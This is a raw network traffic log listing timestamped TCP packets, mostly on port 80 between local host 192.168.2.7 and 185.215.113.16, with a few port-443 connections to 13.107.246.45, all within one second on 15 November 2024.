Nov 15, 2024 13:18:31.061233997 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061250925 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061260939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061291933 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061306953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061321974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061455011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061467886 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061480045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061491013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061501980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061513901 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061526060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061538935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061551094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061553001 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061561108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061573982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061594009 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061594009 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061749935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061762094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061774015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061786890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061804056 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061877012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061888933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061899900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.061907053 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.061912060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.062066078 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.075402975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.075417042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.075429916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.075587988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.077999115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.080156088 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.080169916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.080180883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.080193996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.080312014 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.084975958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.084990025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.085088968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.085102081 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.085113049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.085127115 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.085139036 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.085378885 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.089764118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.089783907 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.089802980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.089816093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.089826107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.089833021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.089859009 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.089989901 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.094531059 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.094546080 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.094557047 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.094602108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.094614029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.094624996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.094651937 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.094707966 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.094707966 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.099288940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.099302053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.099415064 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.099427938 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.099442959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.099529028 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.104094028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.104127884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.104147911 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.104161024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.104171991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.104182959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.104274035 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.108822107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.108839035 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.108858109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.108870029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.108880043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.108897924 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.112102985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.113605976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.113620043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.113639116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.113651991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.113662958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.113687038 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.115072012 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.118391991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.118412971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.118423939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.118437052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.118448973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.118474960 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.118530035 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.123207092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.123219967 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.123231888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.123243093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.123320103 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.123320103 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.127985001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.128005028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.128016949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.128027916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.128040075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.128112078 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.128112078 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.132742882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.132764101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.132776022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.132787943 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.132807970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.132884026 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.132911921 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.137517929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.137540102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.137551069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.137563944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.137576103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.137594938 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.137778997 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.142340899 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.142354012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.142364979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.142376900 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.142395020 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.142606974 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.143305063 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.147108078 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.147198915 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.147339106 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.147339106 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.147386074 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.147413969 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.157562017 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.157613993 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.157816887 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.159149885 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.159167051 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.184159994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.184175968 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.184187889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.184511900 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.188920021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.188956022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.188966990 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.188977003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.189080000 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.193685055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.193696976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.193764925 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.193778038 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.193785906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.193799973 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.194381952 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.198446035 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.198466063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.198474884 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.198486090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.198497057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.198506117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.198534966 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.199548006 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.203237057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.203283072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.203294992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.203305006 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.203331947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.203366041 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.203366041 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.208000898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.208023071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.208033085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.208045006 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.208056927 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.208079100 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.208151102 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.212790012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.212804079 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.212812901 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.212820053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.212824106 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.213078022 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.217554092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.217569113 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.217590094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.217598915 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.217611074 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.217684984 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.222400904 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.222415924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.222475052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.222486973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.222498894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.222510099 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.222511053 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.222544909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.222544909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.227170944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.227190018 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.227199078 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.227238894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.227268934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.227277040 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.227287054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.227289915 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.227289915 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.227344036 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.227344036 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.231930971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.231946945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.231959105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.231977940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.231987953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.232156992 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.236711979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.236726999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.236746073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.236757994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.236768961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.236778975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.236788988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.236810923 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.237158060 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.241441011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.241451979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.241507053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.241518974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.241528034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.241537094 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.241693974 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.246310949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.246323109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.246341944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.246352911 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.246362925 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.246391058 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.246443033 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.251070976 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.251090050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.251101017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.251112938 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.251122952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.251135111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.251162052 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.251214981 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.255832911 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.255925894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.255937099 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.255949020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.255959988 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.256001949 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.260693073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.260705948 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.260723114 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.260735989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.260747910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.260765076 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.263664961 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.265420914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.265441895 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.265454054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.265465975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.265476942 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.265542984 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.265542984 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.270205021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.270225048 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.270236969 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.270248890 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.270262003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.270276070 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.270606041 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.274971962 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.274983883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.275002956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.275013924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.275043011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.275162935 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.279835939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279856920 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279867887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279879093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279887915 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279898882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279911041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279922009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279937029 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.279944897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279956102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279967070 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279975891 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279983044 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.279988050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.279998064 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:31.279999971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.280009031 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.280011892 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.280019999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.280025005 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:31.280044079 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.280147076 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.283659935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.283693075 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.283704996 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.284074068 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.307353020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307462931 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307475090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307487011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307490110 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.307504892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307523966 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307538033 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307540894 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.307549000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307637930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307642937 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.307651043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307663918 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307674885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307698965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307733059 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.307765007 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307775021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307796955 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.307823896 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.307828903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307840109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307851076 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307857990 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307969093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:31.307997942 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:31.307996988 CET	80	49734	185.215.113.16	192.168.2.7
